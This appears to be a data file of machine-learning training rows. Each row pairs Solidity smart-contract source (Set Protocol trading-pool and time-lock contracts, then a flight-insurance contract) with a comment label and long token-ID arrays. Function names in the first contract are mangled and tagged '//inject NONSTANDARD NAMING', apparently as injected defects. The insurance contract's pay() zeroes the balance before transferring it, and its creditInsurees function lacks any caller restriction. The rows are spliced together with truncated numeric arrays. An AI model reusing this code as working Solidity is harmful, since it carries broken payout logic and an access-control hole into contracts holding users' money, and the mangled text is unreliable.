// If the time lock period is 0, then allow non-timebound upgrades.
// This is useful for initialization of the protocol and for testing.
if (timeLockPeriod == 0) {
_;
return;
}
// The upgrade hash is defined by the hash of the transaction call data,
// which uniquely identifies the function as well as the passed in arguments.
bytes32 upgradeHash = keccak256(
abi.encodePacked(
msg.data
)
);
uint256 registrationTime = timeLockedUpgrades[upgradeHash];
// If the upgrade hasn't been registered, register with the current time.
if (registrationTime == 0) {
timeLockedUpgrades[upgradeHash] = block.timestamp;
emit UPGRADEREGISTERED246(
upgradeHash,
block.timestamp
);
return;
}
require(
block.timestamp >= registrationTime.ADD949(timeLockPeriod),
"TimeLockUpgrade: Time lock period must have elapsed."
);
// Reset the timestamp to 0
timeLockedUpgrades[upgradeHash] = 0;
// Run the rest of the upgrades
_;
}
function SETTIMELOCKPERIOD792( //inject NONSTANDARD NAMING
uint256 _timeLockPeriod
)
external
ONLYOWNER733
{
// Only allow setting of the timeLockPeriod if the period is greater than the existing
require(
_timeLockPeriod > timeLockPeriod,
"TimeLockUpgrade: New period must be greater than existing"
);
timeLockPeriod = _timeLockPeriod;
}
}
// File: set-protocol-contracts/contracts/lib/UnrestrictedTimeLockUpgrade.sol
pragma solidity 0.5.7;
contract UnrestrictedTimeLockUpgrade is
TimeLockUpgrade
{
event REMOVEREGISTEREDUPGRADE343( //inject NONSTANDARD NAMING
bytes32 indexed _upgradeHash
);
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
bytes32 _upgradeHash
)
internal
{
require(
timeLockedUpgrades[_upgradeHash] != 0,
"TimeLockUpgradeV2.removeRegisteredUpgrade: Upgrade hash must be registered"
);
// Reset the timestamp to 0
timeLockedUpgrades[_upgradeHash] = 0;
emit REMOVEREGISTEREDUPGRADE343(
_upgradeHash
);
}
}
// File: set-protocol-contracts/contracts/lib/LimitOneUpgrade.sol
pragma solidity 0.5.7;
contract LimitOneUpgrade is
UnrestrictedTimeLockUpgrade
{
mapping(address => bytes32) public upgradeIdentifier;
modifier LIMITONEUPGRADE170(address _upgradeAddress) { //inject NONSTANDARD NAMING
if (timeLockPeriod > 0) {
// Get upgradeHash
bytes32 upgradeHash = keccak256(msg.data);
if (upgradeIdentifier[_upgradeAddress] != 0) {
// If upgrade hash has no record then revert since must be second upgrade
require(
upgradeIdentifier[_upgradeAddress] == upgradeHash,
"Another update already in progress."
);
upgradeIdentifier[_upgradeAddress] = 0;
} else {
upgradeIdentifier[_upgradeAddress] = upgradeHash;
}
}
_;
}
function REMOVEREGISTEREDUPGRADEINTERNAL162( //inject NONSTANDARD NAMING
address _upgradeAddress,
bytes32 _upgradeHash
)
internal
{
require(
upgradeIdentifier[_upgradeAddress] == _upgradeHash,
"Passed upgrade hash does not match upgrade address."
);
UnrestrictedTimeLockUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_upgradeHash);
upgradeIdentifier[_upgradeAddress] = 0;
}
}
// File: set-protocol-contracts/contracts/lib/AddressArrayUtils.sol
// Pulled in from Cryptofin Solidity package in order to control Solidity compiler version
// https://github.com/cryptofinlabs/cryptofin-solidity/blob/master/contracts/array-utils/AddressArrayUtils.sol
pragma solidity 0.5.7;
library AddressArrayUtils {
function INDEXOF640(address[] memory A, address a) internal pure returns (uint256, bool) { //inject NONSTANDARD NAMING
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (0, false);
}
function CONTAINS824(address[] memory A, address a) internal pure returns (bool) { //inject NONSTANDARD NAMING
bool isIn;
(, isIn) = INDEXOF640(A, a);
return isIn;
}
function EXTEND286(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
function APPEND631(address[] memory A, address a) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory newAddresses = new address[](A.length + 1);
for (uint256 i = 0; i < A.length; i++) {
newAddresses[i] = A[i];
}
newAddresses[A.length] = a;
return newAddresses;
}
function INTERSECT449(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 newLength = 0;
for (uint256 i = 0; i < length; i++) {
if (CONTAINS824(B, A[i])) {
includeMap[i] = true;
newLength++;
}
}
address[] memory newAddresses = new address[](newLength);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function UNION513(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
address[] memory leftDifference = DIFFERENCE589(A, B);
address[] memory rightDifference = DIFFERENCE589(B, A);
address[] memory intersection = INTERSECT449(A, B);
return EXTEND286(leftDifference, EXTEND286(intersection, rightDifference));
}
function DIFFERENCE589(address[] memory A, address[] memory B) internal pure returns (address[] memory) { //inject NONSTANDARD NAMING
uint256 length = A.length;
bool[] memory includeMap = new bool[](length);
uint256 count = 0;
// First count the new length because can't push for in-memory arrays
for (uint256 i = 0; i < length; i++) {
address e = A[i];
if (!CONTAINS824(B, e)) {
includeMap[i] = true;
count++;
}
}
address[] memory newAddresses = new address[](count);
uint256 j = 0;
for (uint256 k = 0; k < length; k++) {
if (includeMap[k]) {
newAddresses[j] = A[k];
j++;
}
}
return newAddresses;
}
function POP272(address[] memory A, uint256 index) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function REMOVE947(address[] memory A, address a) //inject NONSTANDARD NAMING
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = INDEXOF640(A, a);
if (!isIn) {
revert();
} else {
(address[] memory _A,) = POP272(A, index);
return _A;
}
}
function HASDUPLICATE629(address[] memory A) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length == 0) {
return false;
}
for (uint256 i = 0; i < A.length - 1; i++) {
for (uint256 j = i + 1; j < A.length; j++) {
if (A[i] == A[j]) {
return true;
}
}
}
return false;
}
function ISEQUAL297(address[] memory A, address[] memory B) internal pure returns (bool) { //inject NONSTANDARD NAMING
if (A.length != B.length) {
return false;
}
for (uint256 i = 0; i < A.length; i++) {
if (A[i] != B[i]) {
return false;
}
}
return true;
}
}
// File: set-protocol-contracts/contracts/lib/WhiteList.sol
pragma solidity 0.5.7;
contract WhiteList is
Ownable,
TimeLockUpgrade
{
using AddressArrayUtils for address[];
address[] public addresses;
mapping(address => bool) public whiteList;
event ADDRESSADDED659( //inject NONSTANDARD NAMING
address _address
);
event ADDRESSREMOVED325( //inject NONSTANDARD NAMING
address _address
);
constructor(
address[] memory _initialAddresses
)
public
{
// Add each of initial addresses to state
for (uint256 i = 0; i < _initialAddresses.length; i++) {
address addressToAdd = _initialAddresses[i];
addresses.push(addressToAdd);
whiteList[addressToAdd] = true;
}
}
function ADDADDRESS683( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
TIMELOCKUPGRADE701
{
require(
!whiteList[_address],
"WhiteList.addAddress: Address has already been whitelisted."
);
addresses.push(_address);
whiteList[_address] = true;
emit ADDRESSADDED659(
_address
);
}
function REMOVEADDRESS177( //inject NONSTANDARD NAMING
address _address
)
external
ONLYOWNER733
{
require(
whiteList[_address],
"WhiteList.removeAddress: Address is not current whitelisted."
);
addresses = addresses.REMOVE947(_address);
whiteList[_address] = false;
emit ADDRESSREMOVED325(
_address
);
}
function VALIDADDRESSES284() //inject NONSTANDARD NAMING
external
view
returns (address[] memory)
{
return addresses;
}
function AREVALIDADDRESSES358( //inject NONSTANDARD NAMING
address[] calldata _addresses
)
external
view
returns (bool)
{
for (uint256 i = 0; i < _addresses.length; i++) {
if (!whiteList[_addresses[i]]) {
return false;
}
}
return true;
}
}
// File: contracts/managers/allocators/ISocialAllocator.sol
pragma solidity 0.5.7;
interface ISocialAllocator {
function DETERMINENEWALLOCATION631( //inject NONSTANDARD NAMING
uint256 _targetBaseAssetAllocation
)
external
returns (ISetToken);
function CALCULATECOLLATERALSETVALUE480( //inject NONSTANDARD NAMING
ISetToken _collateralSet
)
external
view
returns(uint256);
}
// File: contracts/managers/lib/SocialTradingLibrary.sol
pragma solidity 0.5.7;
library SocialTradingLibrary {
struct PoolInfo {
address trader; // Address allowed to make admin and allocation decisions
ISocialAllocator allocator; // Allocator used to make collateral Sets, defines asset pair being used
uint256 currentAllocation; // Current base asset allocation of tradingPool
uint256 newEntryFee; // New fee percentage to change to after time lock passes, defaults to 0
uint256 feeUpdateTimestamp; // Timestamp when fee update process can be finalized, defaults to maxUint256
}
}
// File: contracts/managers/SocialTradingManager.sol
pragma solidity 0.5.7;
contract SocialTradingManager is
WhiteList
{
using SafeMath for uint256;
event TRADINGPOOLCREATED990( //inject NONSTANDARD NAMING
address indexed trader,
ISocialAllocator indexed allocator,
address indexed tradingPool,
uint256 startingAllocation
);
event ALLOCATIONUPDATE207( //inject NONSTANDARD NAMING
address indexed tradingPool,
uint256 oldAllocation,
uint256 newAllocation
);
event NEWTRADER325( //inject NONSTANDARD NAMING
address indexed tradingPool,
address indexed oldTrader,
address indexed newTrader
);
modifier ONLYTRADER541(IRebalancingSetTokenV2 _tradingPool) { //inject NONSTANDARD NAMING
require(
msg.sender == TRADER685(_tradingPool),
"Sender must be trader"
);
_;
}
uint256 public constant rebalancing_set_natural_unit564 = 1e8; //inject NONSTANDARD NAMING
uint public constant one_percent337 = 1e16; //inject NONSTANDARD NAMING
uint256 constant public maximum_allocation339 = 1e18; //inject NONSTANDARD NAMING
ICore public core;
address public factory;
mapping(address => SocialTradingLibrary.PoolInfo) public pools;
uint256 public maxEntryFee;
uint256 public feeUpdateTimelock;
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
WhiteList(_whiteListedAllocators)
{
core = _core;
factory = _factory;
maxEntryFee = _maxEntryFee;
feeUpdateTimelock = _feeUpdateTimelock;
}
function CREATETRADINGPOOL384( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
uint256 _startingUSDValue,
bytes32 _name,
bytes32 _symbol,
bytes calldata _rebalancingSetCallData
)
external
{
// Validate relevant params
VALIDATECREATETRADINGPOOL868(_tradingPairAllocator, _startingBaseAssetAllocation, _rebalancingSetCallData);
// Get collateral Set
ISetToken collateralSet = _tradingPairAllocator.DETERMINENEWALLOCATION631(
_startingBaseAssetAllocation
);
uint256[] memory unitShares = new uint256[](1);
// Value collateral
uint256 collateralValue = _tradingPairAllocator.CALCULATECOLLATERALSETVALUE480(
collateralSet
);
// unitShares is equal to _startingUSDValue divided by colalteral Value
unitShares[0] = _startingUSDValue.MUL940(rebalancing_set_natural_unit564).DIV983(collateralValue);
address[] memory components = new address[](1);
components[0] = address(collateralSet);
// Create tradingPool
address tradingPool = core.CREATESET426(
factory,
components,
unitShares,
rebalancing_set_natural_unit564,
_name,
_symbol,
_rebalancingSetCallData
);
pools[tradingPool].trader = msg.sender;
pools[tradingPool].allocator = _tradingPairAllocator;
pools[tradingPool].currentAllocation = _startingBaseAssetAllocation;
pools[tradingPool].feeUpdateTimestamp = 0;
emit TRADINGPOOLCREATED990(
msg.sender,
_tradingPairAllocator,
tradingPool,
_startingBaseAssetAllocation
);
}
function UPDATEALLOCATION788( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation,
bytes calldata _liquidatorData
)
external
ONLYTRADER541(_tradingPool)
{
// Validate updateAllocation params
VALIDATEALLOCATIONUPDATE492(_tradingPool, _newAllocation);
// Create nextSet collateral
ISetToken nextSet = ALLOCATOR261(_tradingPool).DETERMINENEWALLOCATION631(
_newAllocation
);
// Trigger start rebalance on RebalancingSetTokenV2
_tradingPool.STARTREBALANCE53(address(nextSet), _liquidatorData);
emit ALLOCATIONUPDATE207(
address(_tradingPool),
CURRENTALLOCATION387(_tradingPool),
_newAllocation
);
// Save new allocation
pools[address(_tradingPool)].currentAllocation = _newAllocation;
}
function INITIATEENTRYFEECHANGE772( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newEntryFee
)
external
ONLYTRADER541(_tradingPool)
{
// Validate new entry fee doesn't exceed max
VALIDATENEWENTRYFEE141(_newEntryFee);
// Log new entryFee and timestamp to start timelock from
pools[address(_tradingPool)].feeUpdateTimestamp = block.timestamp.ADD949(feeUpdateTimelock);
pools[address(_tradingPool)].newEntryFee = _newEntryFee;
}
function FINALIZEENTRYFEECHANGE511( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool
)
external
ONLYTRADER541(_tradingPool)
{
// If feeUpdateTimestamp is equal to 0 indicates initiate wasn't called
require(
FEEUPDATETIMESTAMP466(_tradingPool) != 0,
"SocialTradingManager.finalizeSetFeeRecipient: Must initiate fee change first."
);
// Current block timestamp must exceed feeUpdateTimestamp
require(
block.timestamp >= FEEUPDATETIMESTAMP466(_tradingPool),
"SocialTradingManager.finalizeSetFeeRecipient: Time lock period must elapse to update fees."
);
// Reset timestamp to avoid reentrancy
pools[address(_tradingPool)].feeUpdateTimestamp = 0;
// Update fee on RebalancingSetTokenV2
_tradingPool.SETENTRYFEE61(NEWENTRYFEE285(_tradingPool));
// Reset newEntryFee
pools[address(_tradingPool)].newEntryFee = 0;
}
function SETTRADER910( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newTrader
)
external
ONLYTRADER541(_tradingPool)
{
emit NEWTRADER325(
address(_tradingPool),
TRADER685(_tradingPool),
_newTrader
);
pools[address(_tradingPool)].trader = _newTrader;
}
function SETLIQUIDATOR462( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
ILiquidator _newLiquidator
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETLIQUIDATOR462(_newLiquidator);
}
function SETFEERECIPIENT786( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
address _newFeeRecipient
)
external
ONLYTRADER541(_tradingPool)
{
_tradingPool.SETFEERECIPIENT786(_newFeeRecipient);
}
function VALIDATECREATETRADINGPOOL868( //inject NONSTANDARD NAMING
ISocialAllocator _tradingPairAllocator,
uint256 _startingBaseAssetAllocation,
bytes memory _rebalancingSetCallData
)
internal
view
{
VALIDATEALLOCATIONAMOUNT616(_startingBaseAssetAllocation);
VALIDATEMANAGERADDRESS45(_rebalancingSetCallData);
require(
whiteList[address(_tradingPairAllocator)],
"SocialTradingManager.validateCreateTradingPool: Passed allocator is not valid."
);
}
function VALIDATEALLOCATIONUPDATE492( //inject NONSTANDARD NAMING
IRebalancingSetTokenV2 _tradingPool,
uint256 _newAllocation
)
internal
view
{
VALIDATEALLOCATIONAMOUNT616(_newAllocation);
// If current allocation is 0/100%, cannot be the same allocation
uint256 currentAllocationValue = CURRENTALLOCATION387(_tradingPool);
require(
!(currentAllocationValue == maximum_allocation339 && _newAllocation == maximum_allocation339) &&
!(currentAllocationValue == 0 && _newAllocation == 0),
"SocialTradingManager.validateAllocationUpdate: Invalid allocation"
);
// Require that enough time has passed from last rebalance
uint256 lastRebalanceTimestamp = _tradingPool.LASTREBALANCETIMESTAMP491();
uint256 rebalanceInterval = _tradingPool.REBALANCEINTERVAL619();
require(
block.timestamp >= lastRebalanceTimestamp.ADD949(rebalanceInterval),
"SocialTradingManager.validateAllocationUpdate: Rebalance interval not elapsed"
);
// Require that Rebalancing Set Token is in Default state, won't allow for re-proposals
// because malicious actor could prevent token from ever rebalancing
require(
_tradingPool.REBALANCESTATE812() == RebalancingLibrary.State.Default,
"SocialTradingManager.validateAllocationUpdate: State must be in Default"
);
}
function VALIDATEALLOCATIONAMOUNT616( //inject NONSTANDARD NAMING
uint256 _allocation
)
internal
view
{
require(
_allocation <= maximum_allocation339,
"Passed allocation must not exceed 100%."
);
require(
_allocation.MOD276(one_percent337) == 0,
"Passed allocation must be multiple of 1%."
);
}
function VALIDATENEWENTRYFEE141( //inject NONSTANDARD NAMING
uint256 _entryFee
)
internal
view
{
require(
_entryFee <= maxEntryFee,
"SocialTradingManager.validateNewEntryFee: Passed entry fee must not exceed maxEntryFee."
);
}
function VALIDATEMANAGERADDRESS45( //inject NONSTANDARD NAMING
bytes memory _rebalancingSetCallData
)
internal
view
{
address manager;
assembly {
manager := mload(add(_rebalancingSetCallData, 32)) // manager slot
}
require(
manager == address(this),
"SocialTradingManager.validateCallDataArgs: Passed manager address is not this address."
);
}
function ALLOCATOR261(IRebalancingSetTokenV2 _tradingPool) internal view returns (ISocialAllocator) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].allocator;
}
function TRADER685(IRebalancingSetTokenV2 _tradingPool) internal view returns (address) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].trader;
}
function CURRENTALLOCATION387(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].currentAllocation;
}
function FEEUPDATETIMESTAMP466(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].feeUpdateTimestamp;
}
function NEWENTRYFEE285(IRebalancingSetTokenV2 _tradingPool) internal view returns (uint256) { //inject NONSTANDARD NAMING
return pools[address(_tradingPool)].newEntryFee;
}
}
// File: contracts/managers/SocialTradingManagerV2.sol
pragma solidity 0.5.7;
pragma experimental "ABIEncoderV2";
contract SocialTradingManagerV2 is
SocialTradingManager,
LimitOneUpgrade
{
constructor(
ICore _core,
address _factory,
address[] memory _whiteListedAllocators,
uint256 _maxEntryFee,
uint256 _feeUpdateTimelock
)
public
SocialTradingManager(
_core,
_factory,
_whiteListedAllocators,
_maxEntryFee,
_feeUpdateTimelock
)
{}
function ADJUSTFEE487( //inject NONSTANDARD NAMING
address _tradingPool,
bytes calldata _newFeeCallData
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
LIMITONEUPGRADE170(_tradingPool)
TIMELOCKUPGRADE701
{
IRebalancingSetTokenV3(_tradingPool).ADJUSTFEE487(_newFeeCallData);
}
function REMOVEREGISTEREDUPGRADE402( //inject NONSTANDARD NAMING
address _tradingPool,
bytes32 _upgradeHash
)
external
ONLYTRADER541(IRebalancingSetTokenV2(_tradingPool))
{
LimitOneUpgrade.REMOVEREGISTEREDUPGRADEINTERNAL162(_tradingPool, _upgradeHash);
}
} | inject NONSTANDARD NAMING
| modifier TIMELOCKUPGRADE701() { | 2,477,959 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
8721,
6589,
3079,
24554,
1639,
27,
1611,
1435,
288,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "../node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol";
import './AirlineRegistery.sol';
contract FlightSuretyData is Ownable ,AirlineRegistery {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
uint8 private _threshold = 4;
address private _appContract;
uint public index;
struct flightInsurance{
string flight;
uint256 amount;
}
// airline passanger flightInsurance
mapping (address => mapping (address => flightInsurance)) public insurance;
// flight to array of passangers
mapping(string => address[]) internal flightPassangers;
mapping(address => uint256) internal payouts;
mapping(address => uint256) internal AirlineBalances;
event PassangerBuyFlightInusrance(address airline, string flight, address passanger, uint256 amount);
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
( address firstAirline
)
public
{
// contractOwner = msg.sender;
_registerAirline(firstAirline,true);
}
function getPassangerInsuranceBalance(address passanger, address airline) public view returns ( uint256 amount ) {
amount=insurance[airline][passanger].amount;
return ( amount);
}
function getPassangerInsurance(address passanger, address airline) public view returns ( string flight,uint256 amount ) {
flight=insurance[airline][passanger].flight;
amount=insurance[airline][passanger].amount;
return (flight, amount);
}
function getPassangerPayouts(address passanger) public view returns ( uint256 ) {
return ( payouts[passanger]);
}
function getAirlineBalances(address airline) public view returns ( uint256 ) {
return ( AirlineBalances[airline]);
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
modifier authorizedCaller() {
require(msg.sender==_appContract,"Can only be called from FlightSuretyApp contract ");
_;
}
// /**
// * @dev Modifier that requires the "ContractOwner" account to be the function caller
// */
// modifier requireContractOwner()
// {
// require(msg.sender == contractOwner, "Caller is not contract owner");
// _;
// }
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
onlyOwner()
{
operational = mode;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setAppContract
(
address appContract
)
public
onlyOwner()
{
_appContract = appContract;
}
/**
* @dev Get _appContract address
*
* @return A address of _appContract
*/
function getAppContract()
public
view
returns(address)
{
return _appContract;
}
/**
* @dev Get thresholdof contract
*
* @return A uint8 numeric value
*/
function getThreshold()
public
view
returns(uint8)
{
return _threshold;
}
/**
* @dev Sets contract threshold
*
*
*/
function setThreshold
(
uint8 threshold
)
external
onlyOwner()
{
_threshold = threshold;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline
(
address airline,
address caller
)
external
authorizedCaller()
onlyAirLine(caller)
returns(bool)
{
if(queueCount<_threshold){
_registerAirline( airline,true);
}else{
_registerAirline( airline,false);
}
return true;
}
function _registerAirline
(
address airline,
bool status
)
private
returns(bool)
{
super.register( airline,status);
return true;
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
( address airline ,
string flight
)
external
payable
requireIsOperational()
{
require(isAirline(airline),"only approved airline can work");
uint256 price=msg.value;
require(price> 0 ether && price<= 1 ether , " invalid insurance value");
insurance[airline][msg.sender]=flightInsurance(flight,price);
AirlineBalances[airline]= AirlineBalances[airline].add(price);
flightPassangers[flight].push(msg.sender);
emit PassangerBuyFlightInusrance( airline, flight, msg.sender, price);
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
address airline,
string flight
)
external
requireIsOperational()
{
for (uint index = 0; index < flightPassangers[flight].length; index++) {
address passanger= flightPassangers[flight][index];
uint256 creditamount = getCreditAmount( passanger, airline) ;
require(AirlineBalances[airline]>=creditamount,"Airline doesn't have enough funds");
AirlineBalances[airline]=AirlineBalances[airline].sub(creditamount);
// delete insurance[airline][passanger];
payouts[passanger]= creditamount;
}
}
function getCreditAmount(address passanger, address airline) public view returns(uint256){
return(insurance[airline][passanger].amount.mul(150).div(100));
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(
)
external
requireIsOperational()
{
require(payouts[msg.sender]>0,"no money to transfer");
payouts[msg.sender]=0;
msg.sender.transfer(payouts[msg.sender]);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
)
public
payable
requireIsOperational()
{
super.stake(msg.sender);
AirlineBalances[msg.sender]=AirlineBalances[msg.sender].add(msg.value);
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
fund();
}
}
| airline passanger flightInsurance | mapping (address => mapping (address => flightInsurance)) public insurance;
| 13,049,588 | [
1,
1826,
1369,
1850,
1342,
11455,
4202,
25187,
5048,
295,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
